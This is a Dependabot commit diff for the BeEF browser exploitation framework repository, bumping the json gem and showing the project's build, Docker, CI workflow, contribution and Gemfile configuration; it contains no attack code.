Build(deps): bump json from 2.18.1 to 2.19.0

Bumps [json](https://github.com/ruby/json) from 2.18.1 to 2.19.0.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.18.1...v2.19.0)

---
updated-dependencies:
- dependency-name: json
  dependency-version: 2.19.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

.bundle/config

@@ -0,0 +1,3 @@
+---
+BUNDLE_WITHOUT: "development:test"
+BUNDLE_WITH: "geoip:ext_msf:ext_notifications:ext_dns:ext_qrcode"

.dockerignore

@@ -0,0 +1,8 @@
+# Don't copy over git files
+.git
+.github
+.gitignore
+doc
+docs
+test
+update-beef

.github/CONTRIBUTING.md

@@ -0,0 +1,84 @@
+# Contributing
+### Anyone is welcome to make BeEF better!
+Thank you for wanting to contribute to BeEF. It's effort like yours that helps make BeEF such a great tool.
+
+Following these guidelines shows that you respect the time of the developers developing this open source project and helps them help you. In response to this, they should return that respect in addressing your issue, assisting with changes, and helping you finalize your pull requests.
+
+###  We want any form of helpful contributions!
+
+
+BeEF is an open source project and we love to receive contributions from the community! There are many ways to contribute, from writing tutorials or blog posts, improving or translating the documentation, answering questions on the project, submitting bug reports and feature requests or writing or reviewing code which can be merged into BeEF itself.
+
+# Ground Rules
+
+###  Responsibilities
+> * When making an issue, ensure the issue template is filled out, failure to do so can and will result in a closed ticket and a delay in support.
+> * We now have a two-week of unresponsiveness period before closing a ticket, if this happens, just comment responding to the issue which will re-open the ticket. Ensure to make sure all information requested is provided.
+> * Ensure cross-platform compatibility for every change that's accepted. Mac and Linux are currently supported.
+> * Create issues for any major changes and enhancements that you wish to make. Discuss things transparently and get community feedback.
+> * Ensure language is as respectful and appropriate as possible. 
+> * Keep merges as straightforward as possible, only address one issue per commit where possible.
+> * Be welcoming to newcomers and try to assist where possible, everyone needs help. 
+
+# Where to start
+### Looking to make your first contribution 
+
+ Unsure where to begin contributing to BeEF? You can start by looking through these issues:
+
+ * Good First Issue - issues which should only require a few changes, and are good to start with.
+ * Question - issues which are a question and need a response. A good way to learn more about BeEF is to try to solve a problem.
+
+At this point, you're ready to make your changes! Feel free to ask for help; everyone is a beginner at first.
+
+If a maintainer asks you to "rebase" your PR, they're saying that code has changed, and that you need to update your branch so it's easier to merge.
+
+### Ruby best practise 
+Do read through: https://rubystyle.guide
+Try and follow through with the practices throughout, even going through it once will help keep the codebase consistent.
+Use Rubocop to help ensure that the changes adhere to current standards, we are currently catching up old codebase to match.
+Just run the following in the /beef directory.
+> rubocop
+
+# Getting started
+
+### How to submit a contribution.
+
+1. Create your own fork of the code
+
+2. Checkout the master branch
+> git checkout master
+
+3. Create a new branch for your feature
+> git checkout -b my-cool-new-feature
+
+4. Add your new files
+> git add modules/my-cool-new-module
+
+5. Modify or write a test case/s in Rspec for your changes
+
+6. Commit your changes with a relevant message
+> git commit
+
+7. Push your changes to GitHub
+> git push origin my-cool-new-feature
+
+8. Run all tests again to make sure they all pass
+
+9. Edit existing wiki page / add a new one explaining the new features, including:
+	- sample usage (command snippets, steps and/or screenshots)
+	- internal working (code snippets & explanation)
+
+10. Now browse to the following URL and create your pull request from your fork to beef master
+    - Fill out the Pull Request Template
+    - https://github.com/beefproject/beef/pulls
+
+
+# How to report a bug
+If you find a security vulnerability, do NOT open an issue. Email security@beefproject.com instead.
+
+When the security team receives a security bug email, they will assign it to a primary handler.
+This person will coordinate the fix and release process, involving the following steps:
+
+* Confirm the problem and find the affected versions.
+* Audit code to find any potential similar problems.
+* Prepare fixes

.github/ISSUE_TEMPLATE/bug_report.md

@@ -0,0 +1,37 @@
+---
+name: Bug report
+about: Report a bug to help us improve BeEF
+---
+
+## First Steps
+
+1. Confirm that your issue has not been posted previously by searching here: https://github.com/beefproject/beef/issues
+2. Confirm that the wiki does not contain the answers you seek: https://github.com/beefproject/beef/wiki
+3. Check the FAQ: https://github.com/beefproject/beef/wiki/FAQ
+4. BeEF Version:
+5. Ruby Version:
+6. Browser Details (e.g. Chrome v81.0):
+7. Operating System (e.g. OSX Catalina):
+
+## Configuration
+
+1. Have you made any changes to your BeEF configuration? Yes/No
+2. Have you enabled or disabled any BeEF extensions? Yes/No
+
+## Steps to Reproduce
+
+1. (eg. I ran install script, which ran fine)
+2. (eg. when launching console with './beef' I get an error as follows: <error here>)
+3. (eg. beef does not launch)
+
+## How to enable and capture detailed logging
+
+1. Edit `config.yaml` in the root directory
+   * If using Kali **beef-xss** the root dir will be  `/usr/share/beef-xss`
+2. Update `client_debug` to `true`
+3. Retrieve browser logs from your browser's developer console (Ctrl + Shift + I or F12 depending on browser)
+4. Retrieve your server-side logs from `~/.beef/beef.log`
+   * If you have a kali (beef-xss) problem, you can submit a bug here:
+     https://www.kali.org/docs/community/submitting-issues-kali-bug-tracker/
+
+**If we request additional information and we don't hear back from you within a week, we will be closing the ticket off.**

.github/ISSUE_TEMPLATE/config.yml

@@ -0,0 +1,5 @@
+blank_issues_enabled: false
+contact_links:
+  - name: Questions / Support
+    url: https://github.com/beefproject/beef/wiki
+    about: Please check the wiki before opening an issue.

.github/PULL_REQUEST_TEMPLATE.md

@@ -0,0 +1,20 @@
+# Pull Request
+
+Thanks for submitting a PR! Please fill in this template where appropriate:
+
+## Category
+*e.g. Bug, Module, Extension, Core Functionality, Documentation, Tests*
+
+## Feature/Issue Description
+**Q:** Please give a brief summary of your feature/fix
+**A:**
+
+**Q:** Give a technical rundown of what you have changed (if applicable)
+**A:**
+
+## Test Cases
+**Q:** Describe your test cases, what you have covered and if there are any use cases that still need addressing.
+**A:**
+
+## Wiki Page
+*If you are adding a new feature that is not easily understood without context, please draft a section to be added to the Wiki below.*

.github/SECURITY.md

@@ -0,0 +1,9 @@
+send security bug reports to security@beefproject.com
+
+**A security report should include:**
+
+1. Description of the problem (what it is, what's the impact)
+
+2. Technical steps to replicate it (commands / screenshots)
+
+3. Actionable fix/recommendations to mitigate the issue

.github/dependabot.yml

@@ -0,0 +1,25 @@
+version: 2
+updates:
+- package-ecosystem: npm
+  directory: "/"
+  schedule:
+    interval: daily
+  open-pull-requests-limit: 10
+  ignore:
+  - dependency-name: jsdoc-to-markdown
+    versions:
+    - 7.0.0
+- package-ecosystem: bundler
+  directory: "/"
+  schedule:
+    interval: daily
+  open-pull-requests-limit: 10
+  ignore:
+  - dependency-name: rubocop
+    versions:
+    - 1.10.0
+    - 1.11.0
+    - 1.12.0
+    - 1.12.1
+    - 1.9.0
+    - 1.9.1

.github/workflows/codeql.yml

@@ -0,0 +1,72 @@
+# For most projects, this workflow file will not need changing; you simply need
+# to commit it to your repository.
+#
+# You may wish to alter this file to override the set of languages analyzed,
+# or to provide custom queries or build logic.
+#
+# ******** NOTE ********
+# We have attempted to detect the languages in your repository. Please check
+# the `language` matrix defined below to confirm you have the correct set of
+# supported CodeQL languages.
+#
+name: "CodeQL"
+
+on:
+  push:
+    branches: [ master ]
+  pull_request:
+    # The branches below must be a subset of the branches above
+    branches: [ master ]
+  schedule:
+    - cron: '36 1 * * 0'
+
+jobs:
+  analyze:
+    name: Analyze
+    runs-on: ubuntu-latest
+    permissions:
+      actions: read
+      contents: read
+      security-events: write
+
+    strategy:
+      fail-fast: false
+      matrix:
+        language: [ 'javascript', 'ruby' ]
+        # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ]
+        # Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support
+
+    steps:
+    - name: Checkout repository
+      uses: actions/checkout@v3
+
+    # Initializes the CodeQL tools for scanning.
+    - name: Initialize CodeQL
+      uses: github/codeql-action/init@v2
+      with:
+        languages: ${{ matrix.language }}
+        # If you wish to specify custom queries, you can do so here or in a config file.
+        # By default, queries listed here will override any specified in a config file.
+        # Prefix the list here with "+" to use these queries and those in the config file.
+        
+        # Details on CodeQL's query packs refer to : https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs
+        queries: security-extended,security-and-quality
+
+        
+    # Autobuild attempts to build any compiled languages  (C/C++, C#, or Java).
+    # If this step fails, then you should remove it and run the build manually (see below)
+    # - name: Autobuild
+    #  uses: github/codeql-action/autobuild@v2
+
+    # ℹ️ Command-line programs to run using the OS shell.
+    # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun
+
+    #   If the Autobuild fails above, remove it and uncomment the following three lines. 
+    #   modify them (or add more) to build your code if your project, please refer to the EXAMPLE below for guidance.
+
+    # - run: |
+    #   echo "Run, Build Application using script"
+    #   ./location_of_script_within_repo/buildscript.sh
+
+    - name: Perform CodeQL Analysis
+      uses: github/codeql-action/analyze@v2

.github/workflows/dependabot-auto-merge.yml

@@ -0,0 +1,26 @@
+name: Dependabot auto-merge
+on: 
+  pull_request:
+    branches:
+        - master
+
+permissions:
+  contents: write
+  pull-requests: write
+
+jobs:
+  dependabot:
+    runs-on: ubuntu-latest
+    if: github.event.pull_request.user.login == 'dependabot[bot]' && github.repository == 'beefproject/beef'
+    steps:
+      - name: Dependabot metadata
+        id: metadata
+        uses: dependabot/fetch-metadata@v2
+        with:
+          github-token: "${{ secrets.GITHUB_TOKEN }}"
+      - name: Enable auto-merge for Dependabot PRs
+        if: success() && (steps.metadata.outputs.update-type == 'version-update:semver-minor' || steps.metadata.outputs.update-type == 'version-update:semver-patch')
+        run: gh pr merge --auto --merge "$PR_URL"
+        env:
+          PR_URL: ${{ github.event.pull_request.html_url }}
+          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}

.github/workflows/github_actions.yml

@@ -0,0 +1,68 @@
+name: 'BrowserStack Test'
+
+on:
+  pull_request_target:
+    branches: [ master ]
+    types: [ labeled ]
+
+jobs:
+  ubuntu-job:
+    name: 'BrowserStack Test on Ubuntu'
+    runs-on: ubuntu-latest
+    if: github.event.label.name == 'safe_to_test'
+    env:
+      GITACTIONS: true
+    steps:
+
+      - name: 'Remove safe_to_test label'
+        uses: actions/github-script@v8
+        with:
+          script: |
+            await github.rest.issues.removeLabel({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              issue_number: context.payload.pull_request.number,
+              name: 'safe_to_test'
+            });
+
+      - name: 'BrowserStack Env Setup'  # Invokes the setup-env action
+        uses: browserstack/github-actions/setup-env@master
+        with:
+          username:  ${{ secrets.BROWSERSTACK_USERNAME }}
+          access-key: ${{ secrets.BROWSERSTACK_ACCESS_KEY }}
+
+      - name: 'BrowserStack Local Tunnel Setup'  # Invokes the setup-local action
+        uses: browserstack/github-actions/setup-local@master
+        with:
+          local-testing: start
+          local-identifier: random
+
+      - name: 'Checkout the repository'
+        uses: actions/checkout@v6
+        with:
+          ref: ${{ github.event.pull_request.head.sha }}
+          fetch-depth: 2
+
+      - name: 'Setting up Ruby'
+        uses: ruby/setup-ruby@v1
+        # Ruby version is defined in .ruby-version file
+
+      - name: 'Update and Install Dependencies'
+        run: |
+          sudo apt update
+          sudo apt install libcurl4 libcurl4-openssl-dev
+
+      - name: 'Configure Bundle testing and install gems'
+        run: |
+          bundle config unset --local without
+          bundle config set --local with 'test' 'development'
+          bundle install
+
+      - name: 'Run BrowserStack simple verification'
+        run: |
+          bundle exec rake browserstack --trace
+
+      - name: 'BrowserStackLocal Stop'  # Terminating the BrowserStackLocal tunnel connection
+        uses: browserstack/github-actions/setup-local@master
+        with:
+          local-testing: stop

.github/workflows/stale.yml

@@ -0,0 +1,35 @@
+# This workflow warns and then closes issues and PRs that have had no activity for a specified amount of time.
+#
+# You can adjust the behavior by modifying this file.
+# For more information, see:
+# https://github.com/actions/stale
+name: Mark stale issues and pull requests
+
+on:
+  schedule:
+  - cron: '5 * * * *'
+
+jobs:
+  stale:
+
+    runs-on: ubuntu-latest
+    permissions:
+      issues: write
+      pull-requests: write
+
+    steps:
+    - uses: actions/stale@28ca1036281a5e5922ead5184a1bbf96e5fc984e # v10.0.0
+      with:
+        repo-token: ${{ secrets.GITHUB_TOKEN }}
+        days-before-stale: 120
+        days-before-pr-stale: 29
+        days-before-close: 7
+        days-before-pr-close: 31
+        stale-issue-message: 'This issue has been marked as stale due to inactivity and will be closed in 7 days'
+        stale-pr-message: 'Stale pull request message'
+        stale-issue-label: 'Stale'
+        stale-pr-label: 'no-pr-activity'
+        exempt-issue-labels: 'Critical, High, Low, Medium, Review, Backlog'
+        exempt-all-milestones: true
+        exempt-draft-pr: true
+        start-date: '2022-06-15T00:00:00Z'

.gitignore

@@ -1,3 +1,136 @@
+### BeEF ###
 beef.db
+beef.db-shm
+beef.db-wal
+beef.log
 test/msf-test
-custom-config.yaml
+extensions/admin_ui/media/javascript-min/
+custom-config.yaml
+.DS_Store
+.gitignore
+.rvmrc
+beef.log
+
+
+extensions/metasploit/msf-exploits.cache
+
+# ruby debugging
+.byebug_history
+
+# Bundler
+/.bundle
+/vendor
+
+#simplecov
+coverage/
+
+# BrowserStack
+local.log
+
+# Visual Studio Code
+.vscode/
+
+# The following lines were created by https://www.gitignore.io
+
+### Linux ###
+*~
+
+# KDE directory preferences
+.directory
+
+
+### vim ###
+[._]*.s[a-w][a-z]
+[._]s[a-w][a-z]
+*.un~
+Session.vim
+.netrwhist
+*~
+
+
+### Emacs ###
+# -*- mode: gitignore; -*-
+*~
+\#*\#
+/.emacs.desktop
+/.emacs.desktop.lock
+*.elc
+auto-save-list
+tramp
+.\#*
+
+# Org-mode
+.org-id-locations
+*_archive
+
+# flymake-mode
+*_flymake.*
+
+# eshell files
+/eshell/history
+/eshell/lastdir
+
+# elpa packages
+/elpa/
+
+# reftex files
+*.rel
+
+# AUCTeX auto folder
+/auto/
+
+# cask packages
+.cask/
+
+
+### nanoc ###
+# For projects using nanoc (http://nanoc.ws/)
+
+# Default location for output, needs to match output_dir's value found in config.yaml
+output/
+
+# Temporary file directory
+tmp/
+
+# Crash Log
+crash.log
+
+
+### Windows ###
+# Windows image file caches
+Thumbs.db
+ehthumbs.db
+
+# Folder config file
+Desktop.ini
+
+# Recycle Bin used on file shares
+$RECYCLE.BIN/
+
+# Windows Installer files
+*.cab
+*.msi
+*.msm
+*.msp
+
+# Windows shortcuts
+*.lnk
+
+
+### TortoiseGit ###
+# Project-level settings
+/.tgitconfig
+
+test/thirdparty/msf/unit/.byebug_history
+/load
+
+### JSDoc ###
+# Dependency directories
+node_modules/
+
+# Generated files
+out/
+doc/rdoc/
+
+# Secrets for testing github actions locally
+.secrets

.rspec

@@ -0,0 +1,4 @@
+--format documentation
+--color
+--require spec_helper
+-I .

.rubocop.yml

@@ -0,0 +1,42 @@
+AllCops:
+  Exclude:
+    - 'test/**/*'
+    - 'tmp/**/*'
+    - 'tools/**/*'
+    - 'doc/**/*'
+  TargetRubyVersion: <%= File.read(".ruby-version").strip[/^(\d+\.\d+)/, 1] || raise("Ruby version not found") %>
+  NewCops: enable
+
+Layout/LineLength:
+  Enabled: true
+  Max: 180
+
+Metrics/AbcSize:
+  Enabled: false
+
+Metrics/BlockLength:
+  Enabled: false
+
+Metrics/ClassLength:
+  Enabled: false
+
+Metrics/MethodLength:
+  Enabled: false
+
+Metrics/ModuleLength:
+  Enabled: false
+
+Metrics/PerceivedComplexity:
+  Enabled: false
+
+Metrics/CyclomaticComplexity:
+  Enabled: false
+
+Naming/ClassAndModuleCamelCase:
+  Enabled: false
+
+Style/FrozenStringLiteralComment:
+  Enabled: false
+
+Style/Documentation:
+  Enabled: false

.ruby-gemset

@@ -0,0 +1 @@
+beef

.ruby-version

@@ -0,0 +1 @@
+3.4.7

Dockerfile

@@ -0,0 +1,109 @@
+#
+# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - https://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+###########################################################################################################
+###########################################################################################################
+##                                                                                                       ##
+##   Please read the Wiki Installation section on set-up using Docker prior to building this container.  ##
+##   BeEF does NOT allow authentication with default credentials. So please, at the very least           ##
+##   change the username:password in the config.yaml file to something secure that is not beef:beef      ##
+##   before building or you will be denied access and have to rebuild anyway.                            ##
+##                                                                                                       ##
+###########################################################################################################
+###########################################################################################################
+
+# ---------------------------- Start of Builder 0 - Gemset Build ------------------------------------------
+FROM ruby:3.4.7-slim-bookworm AS builder
+
+COPY . /beef
+
+# Set gemrc config to install gems without Ruby Index (ri) and Ruby Documentation (rdoc) files.
+# Then add bundler/gem dependencies and install.
+# Finally change permissions of bundle installs so we don't need to run as root.
+RUN echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
+ && apt-get update \
+ && apt-get install -y --no-install-recommends \
+    git \
+    curl \
+    libssl-dev \
+    xz-utils \
+    pkg-config \
+    make \
+    g++ \
+    libcurl4-openssl-dev \
+    ruby-dev \
+    libyaml-dev \
+    libffi-dev \
+    zlib1g-dev \
+    libsqlite3-dev \
+    sqlite3 \
+ && bundle install --gemfile=/beef/Gemfile --jobs=`nproc` \
+ && rm -rf /usr/local/bundle/cache \
+ && chmod -R a+r /usr/local/bundle \
+ && rm -rf /var/lib/apt/lists/*
+# ------------------------------------- End of Builder 0 -------------------------------------------------
+
+
+# ---------------------------- Start of Builder 1 - Final Build ------------------------------------------
+FROM ruby:3.4.7-slim-bookworm
+LABEL maintainer="Beef Project" \
+      source_url="github.com/beefproject/beef" \
+      homepage="https://beefproject.com/"
+
+# BeEF UI/Hook port
+ARG UI_PORT=3000
+ARG PROXY_PORT=6789
+ARG WEBSOCKET_PORT=61985
+ARG WEBSOCKET_SECURE_PORT=61986
+
+
+# Create service account to run BeEF and install BeEF's runtime dependencies
+RUN adduser --home /beef --gecos beef --disabled-password beef \
+ && apt-get update \
+ && apt-get install -y --no-install-recommends \
+    curl \
+    wget \
+    espeak \
+    lame \
+    openssl \
+    libreadline-dev \
+    libyaml-dev \
+    libxml2-dev \
+    libxslt-dev \
+    libncurses5-dev \
+    libsqlite3-dev \
+    sqlite3 \
+    zlib1g \
+    bison \
+    nodejs \
+    firefox-esr \
+ && apt-get -y clean \
+ && rm -rf /var/lib/apt/lists/*
+
+# Install geckodriver for Selenium tests
+# Pin version and verify checksum to mitigate supply chain attacks
+ENV GECKODRIVER_VERSION=v0.36.0
+ENV GECKODRIVER_SHA256=0bde38707eb0a686a20c6bd50f4adcc7d60d4f73c60eb83ee9e0db8f65823e04
+RUN wget -q "https://github.com/mozilla/geckodriver/releases/download/${GECKODRIVER_VERSION}/geckodriver-${GECKODRIVER_VERSION}-linux64.tar.gz" \
+ && echo "${GECKODRIVER_SHA256}  geckodriver-${GECKODRIVER_VERSION}-linux64.tar.gz" | sha256sum -c - \
+ && tar -xzf "geckodriver-${GECKODRIVER_VERSION}-linux64.tar.gz" -C /usr/local/bin \
+ && chmod +x /usr/local/bin/geckodriver \
+ && rm "geckodriver-${GECKODRIVER_VERSION}-linux64.tar.gz"
+
+# Use gemset created by the builder above
+COPY --chown=beef:beef . /beef
+COPY --from=builder /usr/local/bundle /usr/local/bundle
+
+# Ensure we are using our service account by default
+USER beef
+
+# Expose UI, Proxy, WebSocket server, and WebSocketSecure server ports
+EXPOSE $UI_PORT $PROXY_PORT $WEBSOCKET_PORT $WEBSOCKET_SECURE_PORT
+
+HEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 CMD [ "curl", "-fS", "localhost:$UI_PORT" ]
+
+WORKDIR /beef
+ENTRYPOINT ["/beef/beef"]
+# ------------------------------------- End of Builder 1 -------------------------------------------------

Gemfile

@@ -1,56 +1,91 @@
-# BeEF's Gemfile
-
 #
-#   Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-#   Licensed under the Apache License, Version 2.0 (the "License");
-#   you may not use this file except in compliance with the License.
-#   You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-#   Unless required by applicable law or agreed to in writing, software
-#   distributed under the License is distributed on an "AS IS" BASIS,
-#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#   See the License for the specific language governing permissions and
-#   limitations under the License.
+# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - https://beefproject.com
+# See the file 'doc/COPYING' for copying permission
 #
 
-# Gems only required on Windows, or with specific Windows issues
-if RUBY_PLATFORM.downcase.include?("mswin") || RUBY_PLATFORM.downcase.include?("mingw")
-  gem "win32console"
-  gem "eventmachine", "1.0.0.beta.4.1"
-else
-  gem "eventmachine", "0.12.10"
+gem 'net-smtp', require: false
+gem 'json'
+
+gem 'eventmachine', '~> 1.2', '>= 1.2.7'
+gem 'thin', '~> 2.0'
+gem 'sinatra', '~> 4.1'
+gem 'rack', '~> 3.2'
+gem 'rack-protection', '~> 4.2.1'
+gem 'em-websocket', '~> 0.5.3' # WebSocket support
+gem 'uglifier', '~> 4.2'
+gem 'mime-types', '~> 3.7'
+gem 'execjs', '~> 2.10'
+gem 'ansi', '~> 1.5'
+gem 'term-ansicolor', :require => 'term/ansicolor'
+gem 'rubyzip', '~> 3.2'
+gem 'espeak-ruby', '~> 1.1.0' # Text-to-Voice
+gem 'rake', '~> 13.3'
+gem 'activerecord', '~> 8.1'
+gem 'otr-activerecord', '~> 2.6.0'
+gem 'sqlite3', '~> 2.9'
+gem 'rubocop', '~> 1.85.0', require: false
+
+# Geolocation support
+group :geoip do
+  gem 'maxmind-db', '~> 1.4'
 end
 
-gem "thin"
-gem "sinatra", "1.3.2"
-gem "ansi"
-gem "term-ansicolor", :require => "term/ansicolor"
-gem "dm-core"
-gem "json"
-gem "data_objects"
-gem "dm-sqlite-adapter"
-gem "parseconfig"
-gem "erubis"
-gem "dm-migrations"
-gem "msfrpc-client"
+gem 'parseconfig', '~> 1.1', '>= 1.1.2'
+gem 'erubis', '~> 2.7'
 
-if ENV['BEEF_TEST']
-# for running unit tests
-  gem "test-unit"
-  gem "test-unit-full"
-  gem "curb"
-  gem "test-unit"
-  gem "selenium"
-  gem "selenium-webdriver"
-  # nokogirl is needed by capybara which may require one of the below commands
+# Metasploit Integration extension
+group :ext_msf do
+  gem 'msfrpc-client', '~> 1.1', '>= 1.1.2'
+  gem 'xmlrpc', '~> 0.3.3'
+end
+
+# Notifications extension
+group :ext_notifications do
+  # Pushover
+  gem 'rushover', '~> 0.3.0'
+  # Slack
+  gem 'slack-notifier', '~> 2.4'
+end
+
+# DNS extension
+group :ext_dns do
+  gem 'async-dns', '~> 1.4'
+  gem 'async', '~> 1.32'
+end
+
+# QRcode extension
+group :ext_qrcode do
+  gem 'qr4r', '~> 0.6.1'
+end
+
+# For running unit tests
+group :test do
+  gem 'simplecov', '~> 0.22'
+  gem 'test-unit-full', '~> 0.0.5'
+  gem 'rspec', '~> 3.13'
+  gem 'rdoc', '~> 7.2'
+  gem 'browserstack-local', '~> 1.4'
+
+  gem 'irb', '~> 1.17'
+  gem 'pry-byebug', '~> 3.12'
+
+  gem 'rest-client', '~> 2.1.0'
+  gem 'websocket-client-simple', '~> 0.6.1'
+
+  # Note: curb gem requires curl libraries
+  # sudo apt-get install libcurl4-openssl-dev
+  gem 'curb', '~> 1.2'
+
+  # Note: selenium-webdriver 3.x is incompatible with Firefox version 48 and prior
+  # gem 'selenium' # Requires old version of selenium which is no longer available
+  gem 'geckodriver-helper', '~> 0.24.0'
+  gem 'selenium-webdriver', '~> 4.41'
+
+  # Note: nokogiri is needed by capybara which may require one of the below commands
   # sudo apt-get install libxslt-dev libxml2-dev
   # sudo port install libxml2 libxslt
-  gem "capybara"
-  #RESTful API tests/generic command module tests
-  gem "rest-client", "~> 1.6.7"
+  gem 'capybara', '~> 3.40'
 end
 
-source "http://rubygems.org"
+source 'https://rubygems.org'

Gemfile.lock

@@ -0,0 +1,364 @@
+GEM
+  remote: https://rubygems.org/
+  specs:
+    activemodel (8.1.2)
+      activesupport (= 8.1.2)
+    activerecord (8.1.2)
+      activemodel (= 8.1.2)
+      activesupport (= 8.1.2)
+      timeout (>= 0.4.0)
+    activesupport (8.1.2)
+      base64
+      bigdecimal
+      concurrent-ruby (~> 1.0, >= 1.3.1)
+      connection_pool (>= 2.2.5)
+      drb
+      i18n (>= 1.6, < 2)
+      json
+      logger (>= 1.4.2)
+      minitest (>= 5.1)
+      securerandom (>= 0.3)
+      tzinfo (~> 2.0, >= 2.0.5)
+      uri (>= 0.13.1)
+    addressable (2.8.7)
+      public_suffix (>= 2.0.2, < 7.0)
+    ansi (1.5.0)
+    archive-zip (0.13.1)
+      io-like (~> 0.4.0)
+    ast (2.4.3)
+    async (1.32.1)
+      console (~> 1.10)
+      nio4r (~> 2.3)
+      timers (~> 4.1)
+    async-dns (1.4.1)
+      async
+      io-endpoint
+    base64 (0.3.0)
+    bigdecimal (4.0.1)
+    browserstack-local (1.4.3)
+    byebug (13.0.0)
+      reline (>= 0.6.0)
+    capybara (3.40.0)
+      addressable
+      matrix
+      mini_mime (>= 0.1.3)
+      nokogiri (~> 1.11)
+      rack (>= 1.6.0)
+      rack-test (>= 0.6.3)
+      regexp_parser (>= 1.5, < 3.0)
+      xpath (~> 3.2)
+    coderay (1.1.3)
+    concurrent-ruby (1.3.6)
+    connection_pool (3.0.2)
+    console (1.34.0)
+      fiber-annotation
+      fiber-local (~> 1.1)
+      json
+    curb (1.2.2)
+    daemons (1.4.1)
+    date (3.5.1)
+    diff-lcs (1.6.2)
+    docile (1.4.1)
+    domain_name (0.6.20240107)
+    drb (2.2.3)
+    em-websocket (0.5.3)
+      eventmachine (>= 0.12.9)
+      http_parser.rb (~> 0)
+    erb (6.0.1)
+    erubis (2.7.0)
+    espeak-ruby (1.1.0)
+    event_emitter (0.2.6)
+    eventmachine (1.2.7)
+    execjs (2.10.0)
+    fiber-annotation (0.2.0)
+    fiber-local (1.1.0)
+      fiber-storage
+    fiber-storage (1.0.1)
+    geckodriver-helper (0.24.0)
+      archive-zip (~> 0.7)
+    http-accept (1.7.0)
+    http-cookie (1.0.8)
+      domain_name (~> 0.5)
+    http_parser.rb (0.8.0)
+    i18n (1.14.8)
+      concurrent-ruby (~> 1.0)
+    io-console (0.8.2)
+    io-endpoint (0.15.2)
+    io-like (0.4.0)
+    irb (1.17.0)
+      pp (>= 0.6.0)
+      prism (>= 1.3.0)
+      rdoc (>= 4.0.0)
+      reline (>= 0.4.2)
+    json (2.19.0)
+    json-schema (6.1.0)
+      addressable (~> 2.8)
+      bigdecimal (>= 3.1, < 5)
+    language_server-protocol (3.17.0.5)
+    lint_roller (1.1.0)
+    logger (1.7.0)
+    matrix (0.4.3)
+    maxmind-db (1.4.0)
+    mcp (0.7.1)
+      json-schema (>= 4.1)
+    method_source (1.1.0)
+    mime-types (3.7.0)
+      logger
+      mime-types-data (~> 3.2025, >= 3.2025.0507)
+    mime-types-data (3.2025.0902)
+    mini_mime (1.1.5)
+    minitest (6.0.1)
+      prism (~> 1.5)
+    mojo_magick (0.6.8)
+    msfrpc-client (1.1.2)
+      msgpack (~> 1)
+    msgpack (1.8.0)
+    mustermann (3.0.4)
+      ruby2_keywords (~> 0.0.1)
+    net-protocol (0.2.2)
+      timeout
+    net-smtp (0.5.1)
+      net-protocol
+    netrc (0.11.0)
+    nio4r (2.7.4)
+    nokogiri (1.19.1-aarch64-linux-gnu)
+      racc (~> 1.4)
+    nokogiri (1.19.1-aarch64-linux-musl)
+      racc (~> 1.4)
+    nokogiri (1.19.1-arm-linux-gnu)
+      racc (~> 1.4)
+    nokogiri (1.19.1-arm-linux-musl)
+      racc (~> 1.4)
+    nokogiri (1.19.1-arm64-darwin)
+      racc (~> 1.4)
+    nokogiri (1.19.1-x86_64-darwin)
+      racc (~> 1.4)
+    nokogiri (1.19.1-x86_64-linux-gnu)
+      racc (~> 1.4)
+    nokogiri (1.19.1-x86_64-linux-musl)
+      racc (~> 1.4)
+    otr-activerecord (2.6.0)
+      activerecord (>= 6.0, < 9.0)
+    parallel (1.27.0)
+    parseconfig (1.1.2)
+    parser (3.3.10.2)
+      ast (~> 2.4.1)
+      racc
+    power_assert (2.0.5)
+    pp (0.6.3)
+      prettyprint
+    prettyprint (0.2.0)
+    prism (1.9.0)
+    pry (0.16.0)
+      coderay (~> 1.1)
+      method_source (~> 1.0)
+      reline (>= 0.6.0)
+    pry-byebug (3.12.0)
+      byebug (~> 13.0)
+      pry (>= 0.13, < 0.17)
+    psych (5.3.1)
+      date
+      stringio
+    public_suffix (6.0.2)
+    qr4r (0.6.2)
+      mojo_magick (~> 0.6.5)
+      rqrcode_core (~> 1.0)
+    racc (1.8.1)
+    rack (3.2.5)
+    rack-protection (4.2.1)
+      base64 (>= 0.1.0)
+      logger (>= 1.6.0)
+      rack (>= 3.0.0, < 4)
+    rack-session (2.1.1)
+      base64 (>= 0.1.0)
+      rack (>= 3.0.0)
+    rack-test (2.2.0)
+      rack (>= 1.3)
+    rainbow (3.1.1)
+    rake (13.3.1)
+    rdoc (7.2.0)
+      erb
+      psych (>= 4.0.0)
+      tsort
+    regexp_parser (2.11.3)
+    reline (0.6.3)
+      io-console (~> 0.5)
+    rest-client (2.1.0)
+      http-accept (>= 1.7.0, < 2.0)
+      http-cookie (>= 1.0.2, < 2.0)
+      mime-types (>= 1.16, < 4.0)
+      netrc (~> 0.8)
+    rexml (3.4.4)
+    rqrcode_core (1.2.0)
+    rr (3.1.2)
+    rspec (3.13.2)
+      rspec-core (~> 3.13.0)
+      rspec-expectations (~> 3.13.0)
+      rspec-mocks (~> 3.13.0)
+    rspec-core (3.13.6)
+      rspec-support (~> 3.13.0)
+    rspec-expectations (3.13.5)
+      diff-lcs (>= 1.2.0, < 2.0)
+      rspec-support (~> 3.13.0)
+    rspec-mocks (3.13.6)
